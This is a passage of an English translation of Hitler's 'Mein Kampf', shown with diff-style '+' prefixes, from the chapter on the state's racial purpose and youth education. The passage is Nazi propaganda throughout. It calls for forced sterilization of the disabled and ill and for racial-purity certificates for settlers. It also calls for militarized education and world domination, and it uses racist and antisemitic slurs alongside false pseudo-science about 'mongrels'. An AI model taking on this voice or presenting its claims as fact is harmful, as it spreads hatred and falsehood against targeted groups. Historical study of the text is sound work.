+their existence. They are monstrosities. The fact that they do exist is +no more of a justification than the successful raids carried out by a +band of pirates can be considered a justification of piracy. + +We National Socialists, who are fighting for a new WELTANSCHAUUNG, must +never take our stand on the famous 'basis of facts', and especially not +on mistaken facts. If we did so, we should cease to be the protagonists +of a new and great idea and would become slaves in the service of the +fallacy which is dominant to-day. We must make a clear-cut distinction +between the vessel and its contents. The State is only the vessel and +the race is what it contains. The vessel can have a meaning only if it +preserves and safeguards the contents. Otherwise it is worthless. + +Hence the supreme purpose of the ethnical State is to guard and preserve +those racial elements which, through their work in the cultural field, +create that beauty and dignity which are characteristic of a higher +mankind. As Aryans, we can consider the State only as the living +organism of a people, an organism which does not merely maintain the +existence of a people, but functions in such a way as to lead its people +to a position of supreme liberty by the progressive development of the +intellectual and cultural faculties. + +What they want to impose upon us as a State to-day is in most cases +nothing but a monstrosity, the product of a profound human aberration +which brings untold suffering in its train. + +We National Socialists know that in holding these views we take up a +revolutionary stand in the world of to-day and that we are branded as +revolutionaries. But our views and our conduct will not be determined by +the approbation or disapprobation of our contemporaries, but only by our +duty to follow a truth which we have acknowledged. In doing this we have +reason to believe that posterity will have a clearer insight, and will +not only understand the work we are doing to-day, but will also ratify +it as the right work and will exalt it accordingly. + +On these principles we National Socialists base our standards of value +in appraising a State. This value will be relative when viewed from the +particular standpoint of the individual nation, but it will be absolute +when considered from the standpoint of humanity as a whole. In other +words, this means: + +That the excellence of a State can never be judged by the level of its +culture or the degree of importance which the outside world attaches to +its power, but that its excellence must be judged by the degree to which +its institutions serve the racial stock which belongs to it. + +A State may be considered as a model example if it adequately serves not +only the vital needs of the racial stock it represents but if it +actually assures by its own existence the preservation of this same +racial stock, no matter what general cultural significance this statal +institution may have in the eyes of the rest of the world. For it is not +the task of the State to create human capabilities, but only to assure +free scope for the exercise of capabilities that already exist. On the +other hand, a State may be called bad if, in spite of the existence of a +high cultural level, it dooms to destruction the bearers of that culture +by breaking up their racial uniformity. For the practical effect of such +a policy would be to destroy those conditions that are indispensable for +the ulterior existence of that culture, which the State did not create +but which is the fruit of the creative power inherent in the racial +stock whose existence is assured by being united in the living organism +of the State. Once again let me emphasize the fact that the State itself +is not the substance but the form. Therefore, the cultural level is not +the standard by which we can judge the value of the State in which that +people lives. It is evident that a people which is endowed with high +creative powers in the cultural sphere is of more worth than a tribe of +negroes. And yet the statal organization of the former, if judged from +the standpoint of efficiency, may be worse than that of the negroes. Not +even the best of States and statal institutions can evolve faculties +from a people which they lack and which they never possessed, but a bad +State may gradually destroy the faculties which once existed. This it +can do by allowing or favouring the suppression of those who are the +bearers of a racial culture. + +Therefore, the worth of a State can be determined only by asking how far +it actually succeeds in promoting the well-being of a definite race and +not by the role which it plays in the world at large. Its relative worth +can be estimated readily and accurately; but it is difficult to judge +its absolute worth, because the latter is conditioned not only by the +State but also by the quality and cultural level of the people that +belong to the individual State in question. + +Therefore, when we speak of the high mission of the State we must not +forget that the high mission belongs to the people and that the business +of the State is to use its organizing powers for the purpose of +furnishing the necessary conditions which allow this people freely to +unfold its creative faculties. And if we ask what kind of statal +institution we Germans need, we must first have a clear notion as to the +people which that State must embrace and what purpose it must serve. + +Unfortunately the German national being is not based on a uniform racial +type. The process of welding the original elements together has not gone +so far as to warrant us in saying that a new race has emerged. On the +contrary, the poison which has invaded the national body, especially +since the Thirty Years' War, has destroyed the uniform constitution not +only of our blood but also of our national soul. The open frontiers of +our native country, the association with non-German foreign elements in +the territories that lie all along those frontiers, and especially the +strong influx of foreign blood into the interior of the REICH itself, +has prevented any complete assimilation of those various elements, +because the influx has continued steadily. Out of this melting-pot no +new race arose. The heterogeneous elements continue to exist side by +side. And the result is that, especially in times of crisis, when the +herd usually flocks together, the Germans disperse in all directions. +The fundamental racial elements are not only different in different +districts, but there are also various elements in the single districts. +Beside the Nordic type we find the East-European type, beside the +Eastern there is the Dinaric, the Western type intermingling with both, +and hybrids among them all. That is a grave drawback for us. Through it +the Germans lack that strong herd instinct which arises from unity of +blood and saves nations from ruin in dangerous and critical times; +because on such occasions small differences disappear, so that a united +herd faces the enemy. What we understand by the word hyper-individualism +arises from the fact that our primordial racial elements have existed +side by side without ever consolidating. During times of peace such a +situation may offer some advantages, but, taken all in all, it has +prevented us from gaining a mastery in the world. If in its historical +development the German people had possessed the unity of herd instinct +by which other peoples have so much benefited, then the German REICH +would probably be mistress of the globe to-day. World history would have +taken another course and in this case no man can tell if what many +blinded pacifists hope to attain by petitioning, whining and crying, may +not have been reached in this way: namely, a peace which would not be +based upon the waving of olive branches and tearful misery-mongering of +pacifist old women, but a peace that would be guaranteed by the +triumphant sword of a people endowed with the power to master the world +and administer it in the service of a higher civilization. + +The fact that our people did not have a national being based on a unity +of blood has been the source of untold misery for us. To many petty +German potentates it gave residential capital cities, but the German +people as a whole was deprived of its right to rulership. + +Even to-day our nation still suffers from this lack of inner unity; but +what has been the cause of our past and present misfortunes may turn out +a blessing for us in the future. Though on the one hand it may be a +drawback that our racial elements were not welded together, so that no +homogeneous national body could develop, on the other hand, it was +fortunate that, since at least a part of our best blood was thus kept +pure, its racial quality was not debased. + +A complete assimilation of all our racial elements would certainly have +brought about a homogeneous national organism; but, as has been proved +in the case of every racial mixture, it would have been less capable of +creating a civilization than by keeping intact its best original +elements. A benefit which results from the fact that there was no +all-round assimilation is to be seen in that even now we have large +groups of German Nordic people within our national organization, and +that their blood has not been mixed with the blood of other races. We +must look upon this as our most valuable treasure for the sake of the +future. During that dark period of absolute ignorance in regard to all +racial laws, when each individual was considered to be on a par with +every other, there could be no clear appreciation of the difference +between the various fundamental racial characteristics. We know to-day +that a complete assimilation of all the various elements which +constitute the national being might have resulted in giving us a larger +share of external power: but, on the other hand, the highest of human +aims would not have been attained, because the only kind of people which +fate has obviously chosen to bring about this perfection would have been +lost in such a general mixture of races which would constitute such a +racial amalgamation. + +But what has been prevented by a friendly Destiny, without any +assistance on our part, must now be reconsidered and utilized in the +light of our new knowledge. + +He who talks of the German people as having a mission to fulfil on this +earth must know that this cannot be fulfilled except by the building up +of a State whose highest purpose is to preserve and promote those nobler +elements of our race and of the whole of mankind which have remained +unimpaired. + +Thus for the first time a high inner purpose is accredited to the State. +In face of the ridiculous phrase that the State should do no more than +act as the guardian of public order and tranquillity, so that everybody +can peacefully dupe everybody else, it is given a very high mission +indeed to preserve and encourage the highest type of humanity which a +beneficent Creator has bestowed on this earth. Out of a dead mechanism +which claims to be an end in itself a living organism shall arise which +has to serve one purpose exclusively: and that, indeed, a purpose which +belongs to a higher order of ideas. + +As a State the German REICH shall include all Germans. Its task is not +only to gather in and foster the most valuable sections of our people +but to lead them slowly and surely to a dominant position in the world. + +Thus a period of stagnation is superseded by a period of effort. And +here, as in every other sphere, the proverb holds good that to rest is +to rust; and furthermore the proverb that victory will always be won by +him who attacks. The higher the final goal which we strive to reach, and +the less it be understood at the time by the broad masses, the more +magnificent will be its success. That is what the lesson of history +teaches. And the achievement will be all the more significant if the end +is conceived in the right way and the fight carried through with +unswerving persistence. Many of the officials who direct the affairs of +State nowadays may find it easier to work for the maintenance of the +present order than to fight for a new one. They will find it more +comfortable to look upon the State as a mechanism, whose purpose is its +own preservation, and to say that 'their lives belong to the State,' as +if anything that grew from the inner life of the nation can logically +serve anything but the national being, and as if man could be made for +anything else than for his fellow beings. Naturally, it is easier, as I +have said, to consider the authority of the State as nothing but the +formal mechanism of an organization, rather than as the sovereign +incarnation of a people's instinct for self-preservation on this earth. +For these weak minds the State and the authority of the State is nothing +but an aim in itself, while for us it is an effective weapon in the +service of the great and eternal struggle for existence, a weapon which +everyone must adopt, not because it is a mere formal mechanism, but +because it is the main expression of our common will to exist. + +Therefore, in the fight for our new idea, which conforms completely to +the primal meaning of life, we shall find only a small number of +comrades in a social order which has become decrepit not only physically +but mentally also. From these strata of our population only a few +exceptional people will join our ranks, only those few old people whose +hearts have remained young and whose courage is still vigorous, but not +those who consider it their duty to maintain the state of affairs that +exists. + +Against us we have the innumerable army of all those who are lazy-minded +and indifferent rather than evil, and those whose self-interest leads +them to uphold the present state of affairs. On the apparent +hopelessness of our great struggle is based the magnitude of our task +and the possibilities of success. A battle-cry which from the very start +will scare off all the petty spirits, or at least discourage them, will +become the signal for a rally of all those temperaments that are of the +real fighting metal. And it must be clearly recognized that if a highly +energetic and active body of men emerge from a nation and unite in the +fight for one goal, thereby ultimately rising above the inert masses of +the people, this small percentage will become masters of the whole. +World history is made by minorities if these numerical minorities +represent in themselves the will and energy and initiative of the people +as a whole. + +What seems an obstacle to many persons is really a preliminary condition +of our victory. Just because our task is so great and because so many +difficulties have to be overcome, the highest probability is that only +the best kind of protagonists will join our ranks. This selection is the +guarantee of our success. Nature generally takes certain measures to +correct the effect which racial mixture produces in life. She is not +much in favour of the mongrel. The later products of cross-breeding have +to suffer bitterly, especially the third, fourth and fifth generations. +Not only are they deprived of the higher qualities that belonged to the +parents who participated in the first mixture, but they also lack +definite will-power and vigorous vital energies owing to the lack of +harmony in the quality of their blood. At all critical moments in which +a person of pure racial blood makes correct decisions, that is to say, +decisions that are coherent and uniform, the person of mixed blood will +become confused and take measures that are incoherent. Hence we see that +a person of mixed blood is not only relatively inferior to a person of +pure blood, but is also doomed to become extinct more rapidly. In +innumerable cases wherein the pure race holds its ground the mongrel +breaks down. Therein we witness the corrective provision which Nature +adopts. She restricts the possibilities of procreation, thus impeding +the fertility of cross-breeds and bringing them to extinction. + +For instance, if an individual member of a race should mingle his blood +with the member of a superior race the first result would be a lowering +of the racial level, and furthermore the descendants of this +cross-breeding would be weaker than those of the people around them who +had maintained their blood unadulterated. Where no new blood from the +superior race enters the racial stream of the mongrels, and where those +mongrels continue to cross-breed among themselves, the latter will +either die out because they have insufficient powers of resistance, +which is Nature's wise provision, or in the course of many thousands of +years they will form a new mongrel race in which the original elements +will become so wholly mixed through this millennial crossing that traces +of the original elements will be no longer recognizable. And thus a new +people would be developed which possessed a certain resistance capacity +of the herd type, but its intellectual value and its cultural +significance would be essentially inferior to those which the first +cross-breeds possessed. But even in this last case the mongrel product +would succumb in the mutual struggle for existence with a higher racial +group that had maintained its blood unmixed. The herd solidarity which +this mongrel race had developed through thousands of years will not be +equal to the struggle. And this is because it would lack elasticity and +constructive capacity to prevail over a race of homogeneous blood that +was mentally and culturally superior. + +Therewith we may lay down the following principle as valid: every racial +mixture leads, of necessity, sooner or later to the downfall of the +mongrel product, provided the higher racial strata of this cross-breed +has not retained within itself some sort of racial homogeneity. The +danger to the mongrels ceases only when this higher stratum, which has +maintained certain standards of homogeneous breeding, ceases to be true +to its pedigree and intermingles with the mongrels. + +This principle is the source of a slow but constant regeneration whereby +all the poison which has invaded the racial body is gradually eliminated +so long as there still remains a fundamental stock of pure racial +elements which resists further crossbreeding. + +Such a process may set in automatically among those people where a +strong racial instinct has remained. Among such people we may count +those elements which, for some particular cause such as coercion, have +been thrown out of the normal way of reproduction along strict racial +lines. As soon as this compulsion ceases, that part of the race which +has remained intact will tend to marry with its own kind and thus impede +further intermingling. Then the mongrels recede quite naturally into the +background unless their numbers had increased so much as to be able to +withstand all serious resistance from those elements which had preserved +the purity of their race. + +When men have lost their natural instincts and ignore the obligations +imposed on them by Nature, then there is no hope that Nature will +correct the loss that has been caused, until recognition of the lost +instincts has been restored. Then the task of bringing back what has +been lost will have to be accomplished. But there is serious danger that +those who have become blind once in this respect will continue more and +more to break down racial barriers and finally lose the last remnants of +what is best in them. What then remains is nothing but a uniform +mish-mash, which seems to be the dream of our fine Utopians. But that +mish-mash would soon banish all ideals from the world. Certainly a great +herd could thus be formed. One can breed a herd of animals; but from a +mixture of this kind men such as have created and founded civilizations +would not be produced. The mission of humanity might then be considered +at an end. + +Those who do not wish that the earth should fall into such a condition +must realize that it is the task of the German State in particular to +see to it that the process of bastardization is brought to a stop. + +Our contemporary generation of weaklings will naturally decry such a +policy and whine and complain about it as an encroachment on the most +sacred of human rights. But there is only one right that is sacrosanct +and this right is at the same time a most sacred duty. This right and +obligation are: that the purity of the racial blood should be guarded, +so that the best types of human beings may be preserved and that thus we +should render possible a more noble development of humanity itself. + +A folk-State should in the first place raise matrimony from the level of +being a constant scandal to the race. The State should consecrate it as +an institution which is called upon to produce creatures made in the +likeness of the Lord and not create monsters that are a mixture of man +and ape. The protest which is put forward in the name of humanity does +not fit the mouth of a generation that makes it possible for the most +depraved degenerates to propagate themselves, thereby imposing +unspeakable suffering on their own products and their contemporaries, +while on the other hand contraceptives are permitted and sold in every +drug store and even by street hawkers, so that babies should not be born +even among the healthiest of our people. In this present State of ours, +whose function it is to be the guardian of peace and good order, our +national bourgeoisie look upon it as a crime to make procreation +impossible for syphilitics and those who suffer from tuberculosis or +other hereditary diseases, also cripples and imbeciles. But the +practical prevention of procreation among millions of our very best +people is not considered as an evil, nor does it offend against the +noble morality of this social class but rather encourages their +short-sightedness and mental lethargy. For otherwise they would at least +stir their brains to find an answer to the question of how to create +conditions for the feeding and maintaining of those future beings who +will be the healthy representatives of our nation and must also provide +the conditions on which the generation that is to follow them will have +to support itself and live. + +How devoid of ideals and how ignoble is the whole contemporary system! +The fact that the churches join in committing this sin against the image +of God, even though they continue to emphasize the dignity of that +image, is quite in keeping with their present activities. They talk +about the Spirit, but they allow man, as the embodiment of the Spirit, +to degenerate to the proletarian level. Then they look on with amazement +when they realize how small is the influence of the Christian Faith in +their own country and how depraved and ungodly is this riff-raff which +is physically degenerate and therefore morally degenerate also. To +balance this state of affairs they try to convert the Hottentots and the +Zulus and the Kaffirs and to bestow on them the blessings of the Church. +While our European people, God be praised and thanked, are left to +become the victims of moral depravity, the pious missionary goes out to +Central Africa and establishes missionary stations for negroes. Finally, +sound and healthy--though primitive and backward--people will be +transformed, under the name of our 'higher civilization', into a motley +of lazy and brutalized mongrels. + +It would better accord with noble human aspirations if our two Christian +denominations would cease to bother the negroes with their preaching, +which the negroes do not want and do not understand. It would be better +if they left this work alone, and if, in its stead, they tried to teach +people in Europe, kindly and seriously, that it is much more pleasing to +God if a couple that is not of healthy stock were to show loving +kindness to some poor orphan and become a father and mother to him, +rather than give life to a sickly child that will be a cause of +suffering and unhappiness to all. + +In this field the People's State will have to repair the damage that +arises from the fact that the problem is at present neglected by all the +various parties concerned. It will be the task of the People's State to +make the race the centre of the life of the community. It must make sure +that the purity of the racial strain will be preserved. It must proclaim +the truth that the child is the most valuable possession a people can +have. It must see to it that only those who are healthy shall beget +children; that there is only one infamy, namely, for parents that are +ill or show hereditary defects to bring children into the world and that +in such cases it is a high honour to refrain from doing so. But, on the +other hand, it must be considered as reprehensible conduct to refrain +from giving healthy children to the nation. In this matter the State +must assert itself as the trustee of a millennial future, in face of +which the egotistic desires of the individual count for nothing and will +have to give way before the ruling of the State. In order to fulfil this +duty in a practical manner the State will have to avail itself of modern +medical discoveries. It must proclaim as unfit for procreation all those +who are inflicted with some visible hereditary disease or are the +carriers of it; and practical measures must be adopted to have such +people rendered sterile. On the other hand, provision must be made for +the normally fertile woman so that she will not be restricted in +child-bearing through the financial and economic system operating in a +political regime that looks upon the blessing of having children as a +curse to their parents. The State will have to abolish the cowardly and +even criminal indifference with which the problem of social amenities +for large families is treated, and it will have to be the supreme +protector of this greatest blessing that a people can boast of. Its +attention and care must be directed towards the child rather than the +adult. + +Those who are physically and mentally unhealthy and unfit must not +perpetuate their own suffering in the bodies of their children. From the +educational point of view there is here a huge task for the People's +State to accomplish. But in a future era this work will appear greater +and more significant than the victorious wars of our present bourgeois +epoch. Through educational means the State must teach individuals that +illness is not a disgrace but an unfortunate accident which has to be +pitied, yet that it is a crime and a disgrace to make this affliction +all the worse by passing on disease and defects to innocent creatures +out of mere egotism. + +And the State must also teach the people that it is an expression of a +really noble nature and that it is a humanitarian act worthy of +admiration if a person who innocently suffers from hereditary disease +refrains from having a child of his own but gives his love and affection +to some unknown child who, through its health, promises to become a +robust member of a healthy community. In accomplishing such an +educational task the State integrates its function by this activity in +the moral sphere. It must act on this principle without paying any +attention to the question of whether its conduct will be understood or +misconstrued, blamed or praised. + +If for a period of only 600 years those individuals would be sterilized +who are physically degenerate or mentally diseased, humanity would not +only be delivered from an immense misfortune but also restored to a +state of general health such as we at present can hardly imagine. If the +fecundity of the healthy portion of the nation should be made a +practical matter in a conscientious and methodical way, we should have +at least the beginnings of a race from which all those germs would be +eliminated which are to-day the cause of our moral and physical +decadence. If a people and a State take this course to develop that +nucleus of the nation which is most valuable from the racial standpoint +and thus increase its fecundity, the people as a whole will subsequently +enjoy that most precious of gifts which consists in a racial quality +fashioned on truly noble lines. + +To achieve this the State should first of all not leave the colonization +of newly acquired territory to a haphazard policy but should have it +carried out under the guidance of definite principles. Specially +competent committees ought to issue certificates to individuals +entitling them to engage in colonization work, and these certificates +should guarantee the racial purity of the individuals in question. In +this way frontier colonies could gradually be founded whose inhabitants +would be of the purest racial stock, and hence would possess the best +qualities of the race. Such colonies would be a valuable asset to the +whole nation. Their development would be a source of joy and confidence +and pride to each citizen of the nation, because they would contain the +pure germ which would ultimately bring about a great development of the +nation and indeed of mankind itself. + +The WELTANSCHAUUNG which bases the State on the racial idea must +finally succeed in bringing about a nobler era, in which men will no +longer pay exclusive attention to breeding and rearing pedigree dogs and +horses and cats, but will endeavour to improve the breed of the human +race itself. That will be an era of silence and renunciation for one +class of people, while the others will give their gifts and make their +sacrifices joyfully. + +That such a mentality may be possible cannot be denied in a world where +hundreds and thousands accept the principle of celibacy from their own +choice, without being obliged or pledged to do so by anything except an +ecclesiastical precept. Why should it not be possible to induce people +to make this sacrifice if, instead of such a precept, they were simply +told that they ought to put an end to this truly original sin of racial +corruption which is steadily being passed on from one generation to +another. And, further, they ought to be brought to realize that it is +their bounden duty to give to the Almighty Creator beings such as He +himself made to His own image. + +Naturally, our wretched army of contemporary philistines will not +understand these things. They will ridicule them or shrug their round +shoulders and groan out their everlasting excuses: "Of course it is a +fine thing, but the pity is that it cannot be carried out." And we +reply: "With you indeed it cannot be done, for your world is incapable +of such an idea. You know only one anxiety and that is for your own +personal existence. You have one God, and that is your money. We do not +turn to you, however, for help, but to the great army of those who are +too poor to consider their personal existence as the highest good on +earth. They do not place their trust in money but in other gods, into +whose hands they confide their lives. Above all we turn to the vast army +of our German youth. They are coming to maturity in a great epoch, and +they will fight against the evils which were due to the laziness and +indifference of their fathers." Either the German youth will one day +create a new State founded on the racial idea or they will be the last +witnesses of the complete breakdown and death of the bourgeois world. + +For if a generation suffers from defects which it recognizes and even +admits and is nevertheless quite pleased with itself, as the bourgeois +world is to-day, resorting to the cheap excuse that nothing can be done +to remedy the situation, then such a generation is doomed to disaster. A +marked characteristic of our bourgeois world is that they no longer can +deny the evil conditions that exist. They have to admit that there is +much which is foul and wrong; but they are not able to make up their +minds to fight against that evil, which would mean putting forth the +energy to mobilize the forces of 60 or 70 million people and thus oppose +this menace. They do just the opposite. When such an effort is made +elsewhere they only indulge in silly comment and try from a safe +distance to show that such an enterprise is theoretically impossible and +doomed to failure. No arguments are too stupid to be employed in the +service of their own pettifogging opinions and their knavish moral +attitude. If, for instance, a whole continent wages war against +alcoholic intoxication, so as to free a whole people from this +devastating vice, our bourgeois European does not know better than to +look sideways stupidly, shake the head in doubt and ridicule the +movement with a superior sneer--a state of mind which is effective in a +society that is so ridiculous. But when all these stupidities miss their +aim and in that part of the world this sublime and intangible attitude +is treated effectively and success attends the movement, then such +success is called into question or its importance minimized. Even moral +principles are used in this slanderous campaign against a movement which +aims at suppressing a great source of immorality. + +No. We must not permit ourselves to be deceived by any illusions on this +point. Our contemporary bourgeois world has become useless for any such +noble human task because it has lost all high quality and is evil, not +so much--as I think--because evil is wished but rather because these +people are too indolent to rise up against it. That is why those +political societies which call themselves 'bourgeois parties' are +nothing but associations to promote the interests of certain +professional groups and classes. Their highest aim is to defend their +own egoistic interests as best they can. It is obvious that such a +guild, consisting of bourgeois politicians, may be considered fit for +anything rather than a struggle, especially when the adversaries are not +cautious shopkeepers but the proletarian masses, goaded on to +extremities and determined not to hesitate before deeds of violence. + +If we consider it the first duty of the State to serve and promote the +general welfare of the people, by preserving and encouraging the +development of the best racial elements, the logical consequence is that +this task cannot be limited to measures concerning the birth of the +infant members of the race and nation but that the State will also have +to adopt educational means for making each citizen a worthy factor in +the further propagation of the racial stock. + +Just as, in general, the racial quality is the preliminary condition for +the mental efficiency of any given human material, the training of the +individual will first of all have to be directed towards the development +of sound bodily health. For the general rule is that a strong and +healthy mind is found only in a strong and healthy body. The fact that +men of genius are sometimes not robust in health and stature, or even of +a sickly constitution, is no proof against the principle I have +enunciated. These cases are only exceptions which, as everywhere else, +prove the rule. But when the bulk of a nation is composed of physical +degenerates it is rare for a great spirit to arise from such a miserable +motley. And in any case his activities would never meet with great +success. A degenerate mob will either be incapable of understanding him +at all or their will-power is so feeble that they cannot follow the +soaring of such an eagle. + +The State that is grounded on the racial principle and is alive to the +significance of this truth will first of all have to base its +educational work not on the mere imparting of knowledge but rather on +physical training and development of healthy bodies. The cultivation of +the intellectual facilities comes only in the second place. And here +again it is character which has to be developed first of all, strength +of will and decision. And the educational system ought to foster the +spirit of readiness to accept responsibilities gladly. Formal +instruction in the sciences must be considered last in importance. +Accordingly the State which is grounded on the racial idea must start +with the principle that a person whose formal education in the sciences +is relatively small but who is physically sound and robust, of a +steadfast and honest character, ready and able to make decisions and +endowed with strength of will, is a more useful member of the national +community than a weakling who is scholarly and refined. A nation +composed of learned men who are physical weaklings, hesitant about +decisions of the will, and timid pacifists, is not capable of assuring +even its own existence on this earth. In the bitter struggle which +decides the destiny of man it is very rare that an individual has +succumbed because he lacked learning. Those who fail are they who try to +ignore these consequences and are too faint-hearted about putting them +into effect. There must be a certain balance between mind and body. An +ill-kept body is not made a more beautiful sight by the indwelling of a +radiant spirit. We should not be acting justly if we were to bestow the +highest intellectual training on those who are physically deformed and +crippled, who lack decision and are weak-willed and cowardly. What has +made the Greek ideal of beauty immortal is the wonderful union of a +splendid physical beauty with nobility of mind and spirit. + +Moltke's saying, that in the long run fortune favours only the +efficient, is certainly valid for the relationship between body and +spirit. A mind which is sound will generally maintain its dwelling in a +body that is sound. + +Accordingly, in the People's State physical training is not a matter for +the individual alone. Nor is it a duty which first devolves on the +parents and only secondly or thirdly a public interest; but it is +necessary for the preservation of the people, who are represented and +protected by the State. As regards purely formal education the State +even now interferes with the individual's right of self-determination +and insists upon the right of the community by submitting the child to +an obligatory system of training, without paying attention to the +approval or disapproval of the parents. In a similar way and to a higher +degree the new People's State will one day make its authority prevail +over the ignorance and incomprehension of individuals in problems +appertaining to the safety of the nation. It must organize its +educational work in such a way that the bodies of the young will be +systematically trained from infancy onwards, so as to be tempered and +hardened for the demands to be made on them in later years. Above all, +the State must see to it that a generation of stay-at-homes is not +developed. + +The work of education and hygiene has to begin with the young mother. +The painstaking efforts carried on for several decades have succeeded in +abolishing septic infection at childbirth and reducing puerperal fever +to a relatively small number of cases. And so it ought to be possible by +means of instructing sisters and mothers in an opportune way, to +institute a system of training the child from early infancy onwards so +that this may serve as an excellent basis for future development. + +The People's State ought to allow much more time for physical training +in the school. It is nonsense to burden young brains with a load of +material of which, as experience shows, they retain only a small part, +and mostly not the essentials, but only the secondary and useless +portion; because the young mind is incapable of sifting the right kind +of learning out of all the stuff that is pumped into it. To-day, even in +the curriculum of the high schools, only two short hours in the week are +reserved for gymnastics; and worse still, it is left to the pupils to +decide whether or not they want to take part. This shows a grave +disproportion between this branch of education and purely intellectual +instruction. Not a single day should be allowed to pass in which the +young pupil does not have one hour of physical training in the morning +and one in the evening; and every kind of sport and gymnastics should be +included. There is one kind of sport which should be specially +encouraged, although many people who call themselves VÖLKISCH consider +it brutal and vulgar, and that is boxing. It is incredible how many +false notions prevail among the 'cultivated' classes. The fact that the +young man learns how to fence and then spends his time in duels is +considered quite natural and respectable. But boxing--that is brutal. +Why? There is no other sport which equals this in developing the +militant spirit, none that demands such a power of rapid decision or +which gives the body the flexibility of good steel. It is no more vulgar +when two young people settle their differences with their fists than +with sharp-pointed pieces of steel. One who is attacked and defends +himself with his fists surely does not act less manly than one who runs +off and yells for the assistance of a policeman. But, above all, a +healthy youth has to learn to endure hard knocks. This principle may +appear savage to our contemporary champions who fight only with the +weapons of the intellect. But it is not the purpose of the People's +State to educate a colony of aesthetic pacifists and physical +degenerates. This State does not consider that the human ideal is to be +found in the honourable philistine or the maidenly spinster, but in a +dareful personification of manly force and in women capable of bringing +men into the world. + +Generally speaking, the function of sport is not only to make the +individual strong, alert and daring, but also to harden the body and +train it to endure an adverse environment. + +If our superior class had not received such a distinguished education, +and if, on the contrary, they had learned boxing, it would never have +been possible for bullies and deserters and other such CANAILLE to carry +through a German revolution. For the success of this revolution was not +due to the courageous, energetic and audacious activities of its authors +but to the lamentable cowardice and irresolution of those who ruled the +German State at that time and were responsible for it. But our educated +leaders had received only an 'intellectual' training and thus found +themselves defenceless when their adversaries used iron bars instead of +intellectual weapons. All this could happen only because our superior +scholastic system did not train men to be real men but merely to be +civil servants, engineers, technicians, chemists, litterateurs, jurists +and, finally, professors; so that intellectualism should not die out. + +Our leadership in the purely intellectual sphere has always been +brilliant, but as regards will-power in practical affairs our leadership +has been beneath criticism. + +Of course education cannot make a courageous man out of one who is +temperamentally a coward. But a man who naturally possesses a certain +degree of courage will not be able to develop that quality if his +defective education has made him inferior to others from the very start +as regards physical strength and prowess. The army offers the best +example of the fact that the knowledge of one's physical ability +develops a man's courage and militant spirit. Outstanding heroes are not +the rule in the army, but the average represents men of high courage. +The excellent schooling which the German soldiers received before the +War imbued the members of the whole gigantic organism with a degree of +confidence in their own superiority such as even our opponents never +thought possible. All the immortal examples of dauntless courage and +daring which the German armies gave during the late summer and autumn of +1914, as they advanced from triumph to triumph, were the result of that +education which had been pursued systematically. During those long years +of peace before the last War men who were almost physical weaklings were +made capable of incredible deeds, and thus a self-confidence was +developed which did not fail even in the most terrible battles. + +It is our German people, which broke down and were delivered over to be +kicked by the rest of the world, that had need of the power that comes +by suggestion from self-confidence. But this confidence in one's self +must be instilled into our children from their very early years. The +whole system of education and training must be directed towards +fostering in the child the conviction that he is unquestionably a match +for any- and everybody. The individual has to regain his own physical +strength and prowess in order to believe in the invincibility of the +nation to which he belongs. What has formerly led the German armies to +victory was the sum total of the confidence which each individual had in +himself, and which all of them had in those who held the positions of +command. What will restore the national strength of the German people is +the conviction that they will be able to reconquer their liberty. But +this conviction can only be the final product of an equal feeling in the +millions of individuals. And here again we must have no illusions. + +The collapse of our people was overwhelming, and the efforts to put an +end to so much misery must also be overwhelming. It would be a bitter +and grave error to believe that our people could be made strong again +simply by means of our present bourgeois training in good order and +obedience. That will not suffice if we are to break up the present order +of things, which now sanctions the acknowledgment of our defeat and cast +the broken chains of our slavery in the face of our opponents. Only by a +superabundance of national energy and a passionate thirst for liberty +can we recover what has been lost. + +Also the manner of clothing the young should be such as harmonizes with +this purpose. It is really lamentable to see how our young people have +fallen victims to a fashion mania which perverts the meaning of the old +adage that clothes make the man. + +Especially in regard to young people clothes should take their place in +the service of education. The boy who walks about in summer-time wearing +long baggy trousers and clad up to the neck is hampered even by his +clothes in feeling any inclination towards strenuous physical exercise. +Ambition and, to speak quite frankly, even vanity must be appealed to. I +do not mean such vanity as leads people to want to wear fine clothes, +which not everybody can afford, but rather the vanity which inclines a +person towards developing a fine bodily physique. And this is something +which everybody can help to do. + +This will come in useful also for later years. The young girl must +become acquainted with her sweetheart. If the beauty of the body were +not completely forced into the background to-day through our stupid +manner of dressing, it would not be possible for thousands of our girls +to be led astray by Jewish mongrels, with their repulsive crooked +waddle. It is also in the interests of the nation that those who have a +beautiful physique should be brought into the foreground, so that they +might encourage the development of a beautiful bodily form among the +people in general. + +Military training is excluded among us to-day, and therewith the only +institution which in peace-times at least partly made up for the lack of +physical training in our education. Therefore what I have suggested is +all the more necessary in our time. The success of our old military +training not only showed itself in the education of the individual but +also in the influence which it exercised over the mutual relationship +between the sexes. The young girl preferred the soldier to one who was +not a soldier. The People's State must not confine its control of +physical training to the official school period, but it must demand +that, after leaving school and while the adolescent body is still +developing, the boy continues this training. For on such proper physical +development success in after-life largely depends. It is stupid to think +that the right of the State to supervise the education of its young +citizens suddenly comes to an end the moment they leave school and +recommences only with military service. This right is a duty, and as +such it must continue uninterruptedly. The present State, which does not +interest itself in developing healthy men, has criminally neglected this +duty. It leaves our contemporary youth to be corrupted on the streets +and in the brothels, instead of keeping hold of the reins and continuing +the physical training of these youths up to the time when they are grown +into healthy young men and women. + +For the present it is a matter of indifference what form the State +chooses for carrying on this training. The essential matter is that it +should be developed and that the most suitable ways of doing so should +be investigated. The People's State will have to consider the physical +training of the youth after the school period just as much a public duty +as their intellectual training; and this training will have to be +carried out through public institutions. Its general lines can be a +preparation for subsequent service in the army. And then it will no +longer be the task of the army to teach the young recruit the most +elementary drill regulations. In fact the army will no longer have to +deal with recruits in the present sense of the word, but it will rather +have to transform into a soldier the youth whose bodily prowess has been +already fully trained. + +In the People's State the army will no longer be obliged to teach boys +how to walk and stand erect, but it will be the final and supreme school +of patriotic education. In the army the young recruit will learn the art +of bearing arms, but at the same time he will be equipped for his other +duties in later life. And the supreme aim of military education must +always be to achieve that which was attributed to the old army as its +highest merit: namely, that through his military schooling the boy must +be transformed into a man, that he must not only learn to obey but also +acquire the fundamentals that will enable him one day to command. He +must learn to remain silent not only when he is rightly rebuked but also +when he is wrongly rebuked. + +Furthermore, on the self-consciousness of his own strength and on the +basis of that ESPRIT DE CORPS which inspires him and his comrades, he +must become convinced that he belongs to a people who are invincible. + +After he has completed his military training two certificates shall be +handed to the soldier. The one will be his diploma as a citizen of the +State, a juridical document which will enable him to take part in public +affairs. The second will be an attestation of his physical health, which +guarantees his fitness for marriage. + +The People's State will have to direct the education of girls just as +that of boys and according to the same fundamental principles. 